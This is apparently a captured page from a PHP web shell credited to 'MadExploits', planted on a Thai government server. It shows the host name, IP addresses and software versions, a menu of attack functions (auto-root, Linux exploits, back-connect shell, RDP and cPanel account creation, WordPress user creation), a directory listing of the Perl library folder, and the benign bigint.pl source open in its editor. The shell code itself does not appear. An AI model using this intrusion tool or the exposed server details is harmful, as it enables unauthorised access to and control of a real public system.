Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
CPANPLUS
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.53
KB
-rw-r--r--
AutoLoader.pm
14.65
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.86
KB
-rw-r--r--
CGI.pm
255.35
KB
-rw-r--r--
CORE.pod
1.53
KB
-rw-r--r--
CPAN.pm
127.84
KB
-rw-r--r--
CPANPLUS.pm
7.1
KB
-rw-r--r--
Carp.pm
7.43
KB
-rw-r--r--
DB.pm
18.75
KB
-rw-r--r--
DBM_Filter.pm
14.08
KB
-rw-r--r--
Digest.pm
10.17
KB
-rw-r--r--
DirHandle.pm
1.89
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.38
KB
-rw-r--r--
Env.pm
5.05
KB
-rw-r--r--
Error.pm
23.55
KB
-rw-r--r--
Exporter.pm
18.16
KB
-rw-r--r--
Fatal.pm
40.01
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
5.53
KB
-rw-r--r--
Memoize.pm
34.47
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.86
KB
-rw-r--r--
Safe.pm
23.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.93
KB
-rw-r--r--
Shell.pm
8.48
KB
-rw-r--r--
Switch.pm
27.84
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.38
KB
-rw-r--r--
URI.pm
30.44
KB
-rw-r--r--
abbrev.pl
838
B
-rw-r--r--
assert.pl
1.27
KB
-rw-r--r--
attributes.pm
14.53
KB
-rw-r--r--
autodie.pm
11.49
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.82
KB
-rw-r--r--
bigfloat.pl
7.2
KB
-rw-r--r--
bigint.pl
8.75
KB
-rw-r--r--
bigint.pm
17.43
KB
-rw-r--r--
bignum.pm
18.24
KB
-rw-r--r--
bigrat.pl
4.37
KB
-rw-r--r--
bigrat.pm
14.1
KB
-rw-r--r--
blib.pm
2.06
KB
-rw-r--r--
bytes.pm
2.33
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
cacheout.pl
1.1
KB
-rw-r--r--
charnames.pm
15.3
KB
-rw-r--r--
complete.pl
3.12
KB
-rw-r--r--
constant.pm
12.23
KB
-rw-r--r--
ctime.pl
1.95
KB
-rw-r--r--
diagnostics.pm
16.97
KB
-rw-r--r--
dotsh.pl
2.12
KB
-rw-r--r--
dumpvar.pl
14.92
KB
-rw-r--r--
exceptions.pl
1.7
KB
-rw-r--r--
fastcwd.pl
1019
B
-rw-r--r--
feature.pm
4.97
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
find.pl
1.16
KB
-rw-r--r--
finddepth.pl
1.1
KB
-rw-r--r--
flush.pl
642
B
-rw-r--r--
getcwd.pl
1.39
KB
-rw-r--r--
getopt.pl
1.29
KB
-rw-r--r--
getopts.pl
1.37
KB
-rw-r--r--
hostname.pl
727
B
-rw-r--r--
if.pm
1.14
KB
-rw-r--r--
importenv.pl
283
B
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.01
KB
-rw-r--r--
locale.pm
820
B
-rw-r--r--
look.pl
1.23
KB
-rw-r--r--
newgetopt.pl
2.16
KB
-rw-r--r--
open.pm
7.56
KB
-rw-r--r--
open2.pl
185
B
-rw-r--r--
open3.pl
185
B
-rw-r--r--
overload.pm
46.92
KB
-rw-r--r--
overloading.pm
1.76
KB
-rw-r--r--
parent.pm
2.93
KB
-rw-r--r--
perl5db.pl
310.24
KB
-rw-r--r--
pwd.pl
1.44
KB
-rw-r--r--
shellwords.pl
276
B
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
stat.pl
590
B
-rw-r--r--
strict.pm
3.63
KB
-rw-r--r--
subs.pm
842
B
-rw-r--r--
syslog.pl
4.69
KB
-rw-r--r--
tainted.pl
164
B
-rw-r--r--
termcap.pl
4.02
KB
-rw-r--r--
timelocal.pl
690
B
-rw-r--r--
utf8.pm
6.76
KB
-rw-r--r--
utf8_heavy.pl
7.81
KB
-rw-r--r--
validate.pl
3.64
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
version.pm
1.01
KB
-rw-r--r--
version.pod
12.03
KB
-rw-r--r--
vmsish.pm
4.23
KB
-rw-r--r--
warnings.pm
15.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bigint.pl
package bigint; # # This library is no longer being maintained, and is included for backward # compatibility with Perl 4 programs which may require it. # # In particular, this should not be used as an example of modern Perl # programming techniques. # # Suggested alternative: Math::BigInt # # arbitrary size integer math package # # by Mark Biggar # # Canonical Big integer value are strings of the form # /^[+-]\d+$/ with leading zeros suppressed # Input values to these routines may be strings of the form # /^\s*[+-]?[\d\s]+$/. # Examples: # '+0' canonical zero value # ' -123 123 123' canonical value '-123123123' # '1 23 456 7890' canonical value '+1234567890' # Output values always in canonical form # # Actual math is done in an internal format consisting of an array # whose first element is the sign (/^[+-]$/) and whose remaining # elements are base 100000 digits with the least significant digit first. # The string 'NaN' is used to represent the result when input arguments # are not numbers, as well as the result of dividing by zero # # routines provided are: # # bneg(BINT) return BINT negation # babs(BINT) return BINT absolute value # bcmp(BINT,BINT) return CODE compare numbers (undef,<0,=0,>0) # badd(BINT,BINT) return BINT addition # bsub(BINT,BINT) return BINT subtraction # bmul(BINT,BINT) return BINT multiplication # bdiv(BINT,BINT) return (BINT,BINT) division (quo,rem) just quo if scalar # bmod(BINT,BINT) return BINT modulus # bgcd(BINT,BINT) return BINT greatest common divisor # bnorm(BINT) return BINT normalization # # overcome a floating point problem on certain osnames (posix-bc, os390) BEGIN { my $x = 100000.0; my $use_mult = int($x*1e-5)*1e5 == $x ? 1 : 0; } $zero = 0; # normalize string form of number. Strip leading zeros. Strip any # white space and add a sign, if missing. # Strings that are not numbers result the value 'NaN'. sub main'bnorm { #(num_str) return num_str local($_) = @_; s/\s+//g; # strip white space if (s/^([+-]?)0*(\d+)$/$1$2/) { # test if number substr($_,$[,0) = '+' unless $1; # Add missing sign s/^-0/+0/; $_; } else { 'NaN'; } } # Convert a number from string format to internal base 100000 format. # Assumes normalized value as input. sub internal { #(num_str) return int_num_array local($d) = @_; ($is,$il) = (substr($d,$[,1),length($d)-2); substr($d,$[,1) = ''; ($is, reverse(unpack("a" . ($il%5+1) . ("a5" x ($il/5)), $d))); } # Convert a number from internal base 100000 format to string format. # This routine scribbles all over input array. sub external { #(int_num_array) return num_str $es = shift; grep($_ > 9999 || ($_ = substr('0000'.$_,-5)), @_); # zero pad &'bnorm(join('', $es, reverse(@_))); # reverse concat and normalize } # Negate input value. sub main'bneg { #(num_str) return num_str local($_) = &'bnorm(@_); vec($_,0,8) ^= ord('+') ^ ord('-') unless $_ eq '+0'; s/^./N/ unless /^[-+]/; # works both in ASCII and EBCDIC $_; } # Returns the absolute value of the input. sub main'babs { #(num_str) return num_str &abs(&'bnorm(@_)); } sub abs { # post-normalized abs for internal use local($_) = @_; s/^-/+/; $_; } # Compares 2 values. Returns one of undef, <0, =0, >0. (suitable for sort) sub main'bcmp { #(num_str, num_str) return cond_code local($x,$y) = (&'bnorm($_[$[]),&'bnorm($_[$[+1])); if ($x eq 'NaN') { undef; } elsif ($y eq 'NaN') { undef; } else { &cmp($x,$y); } } sub cmp { # post-normalized compare for internal use local($cx, $cy) = @_; return 0 if ($cx eq $cy); local($sx, $sy) = (substr($cx, 0, 1), substr($cy, 0, 1)); local($ld); if ($sx eq '+') { return 1 if ($sy eq '-' || $cy eq '+0'); $ld = length($cx) - length($cy); return $ld if ($ld); return $cx cmp $cy; } else { # $sx eq '-' return -1 if ($sy eq '+'); $ld = length($cy) - length($cx); return $ld if ($ld); return $cy cmp $cx; } } sub main'badd { #(num_str, num_str) return num_str local(*x, *y); ($x, $y) = (&'bnorm($_[$[]),&'bnorm($_[$[+1])); if ($x eq 'NaN') { 'NaN'; } elsif ($y eq 'NaN') { 'NaN'; } else { @x = &internal($x); # convert to internal form @y = &internal($y); local($sx, $sy) = (shift @x, shift @y); # get signs if ($sx eq $sy) { &external($sx, &add(*x, *y)); # if same sign add } else { ($x, $y) = (&abs($x),&abs($y)); # make abs if (&cmp($y,$x) > 0) { &external($sy, &sub(*y, *x)); } else { &external($sx, &sub(*x, *y)); } } } } sub main'bsub { #(num_str, num_str) return num_str &'badd($_[$[],&'bneg($_[$[+1])); } # GCD -- Euclids algorithm Knuth Vol 2 pg 296 sub main'bgcd { #(num_str, num_str) return num_str local($x,$y) = (&'bnorm($_[$[]),&'bnorm($_[$[+1])); if ($x eq 'NaN' || $y eq 'NaN') { 'NaN'; } else { ($x, $y) = ($y,&'bmod($x,$y)) while $y ne '+0'; $x; } } # routine to add two base 1e5 numbers # stolen from Knuth Vol 2 Algorithm A pg 231 # there are separate routines to add and sub as per Kunth pg 233 sub add { #(int_num_array, int_num_array) return int_num_array local(*x, *y) = @_; $car = 0; for $x (@x) { last unless @y || $car; $x -= 1e5 if $car = (($x += shift(@y) + $car) >= 1e5) ? 1 : 0; } for $y (@y) { last unless $car; $y -= 1e5 if $car = (($y += $car) >= 1e5) ? 1 : 0; } (@x, @y, $car); } # subtract base 1e5 numbers -- stolen from Knuth Vol 2 pg 232, $x > $y sub sub { #(int_num_array, int_num_array) return int_num_array local(*sx, *sy) = @_; $bar = 0; for $sx (@sx) { last unless @y || $bar; $sx += 1e5 if $bar = (($sx -= shift(@sy) + $bar) < 0); } @sx; } # multiply two numbers -- stolen from Knuth Vol 2 pg 233 sub main'bmul { #(num_str, num_str) return num_str local(*x, *y); ($x, $y) = (&'bnorm($_[$[]), &'bnorm($_[$[+1])); if ($x eq 'NaN') { 'NaN'; } elsif ($y eq 'NaN') { 'NaN'; } else { @x = &internal($x); @y = &internal($y); local($signr) = (shift @x ne shift @y) ? '-' : '+'; @prod = (); for $x (@x) { ($car, $cty) = (0, $[); for $y (@y) { $prod = $x * $y + $prod[$cty] + $car; if ($use_mult) { $prod[$cty++] = $prod - ($car = int($prod * 1e-5)) * 1e5; } else { $prod[$cty++] = $prod - ($car = int($prod / 1e5)) * 1e5; } } $prod[$cty] += $car if $car; $x = shift @prod; } &external($signr, @x, @prod); } } # modulus sub main'bmod { #(num_str, num_str) return num_str (&'bdiv(@_))[$[+1]; } sub main'bdiv { #(dividend: num_str, divisor: num_str) return num_str local (*x, *y); ($x, $y) = (&'bnorm($_[$[]), &'bnorm($_[$[+1])); return wantarray ? ('NaN','NaN') : 'NaN' if ($x eq 'NaN' || $y eq 'NaN' || $y eq '+0'); return wantarray ? ('+0',$x) : '+0' if (&cmp(&abs($x),&abs($y)) < 0); @x = &internal($x); @y = &internal($y); $srem = $y[$[]; $sr = (shift @x ne shift @y) ? '-' : '+'; $car = $bar = $prd = 0; if (($dd = int(1e5/($y[$#y]+1))) != 1) { for $x (@x) { $x = $x * $dd + $car; if ($use_mult) { $x -= ($car = int($x * 1e-5)) * 1e5; } else { $x -= ($car = int($x / 1e5)) * 1e5; } } push(@x, $car); $car = 0; for $y (@y) { $y = $y * $dd + $car; if ($use_mult) { $y -= ($car = int($y * 1e-5)) * 1e5; } else { $y -= ($car = int($y / 1e5)) * 1e5; } } } else { push(@x, 0); } @q = (); ($v2,$v1) = @y[-2,-1]; while ($#x > $#y) { ($u2,$u1,$u0) = @x[-3..-1]; $q = (($u0 == $v1) ? 99999 : int(($u0*1e5+$u1)/$v1)); --$q while ($v2*$q > ($u0*1e5+$u1-$q*$v1)*1e5+$u2); if ($q) { ($car, $bar) = (0,0); for ($y = $[, $x = $#x-$#y+$[-1; $y <= $#y; ++$y,++$x) { $prd = $q * $y[$y] + $car; if ($use_mult) { $prd -= ($car = int($prd * 1e-5)) * 1e5; } else { $prd -= ($car = int($prd / 1e5)) * 1e5; } $x[$x] += 1e5 if ($bar = (($x[$x] -= $prd + $bar) < 0)); } if ($x[$#x] < $car + $bar) { $car = 0; --$q; for ($y = $[, $x = $#x-$#y+$[-1; $y <= $#y; ++$y,++$x) { $x[$x] -= 1e5 if ($car = (($x[$x] += $y[$y] + $car) > 1e5)); } } } pop(@x); unshift(@q, $q); } if (wantarray) { @d = (); if ($dd != 1) { $car = 0; for $x (reverse @x) { $prd = $car * 1e5 + $x; $car = $prd - ($tmp = int($prd / $dd)) * $dd; unshift(@d, $tmp); } } else { @d = @x; } (&external($sr, @q), &external($srem, @d, $zero)); } else { &external($sr, @q); } } 1;
Close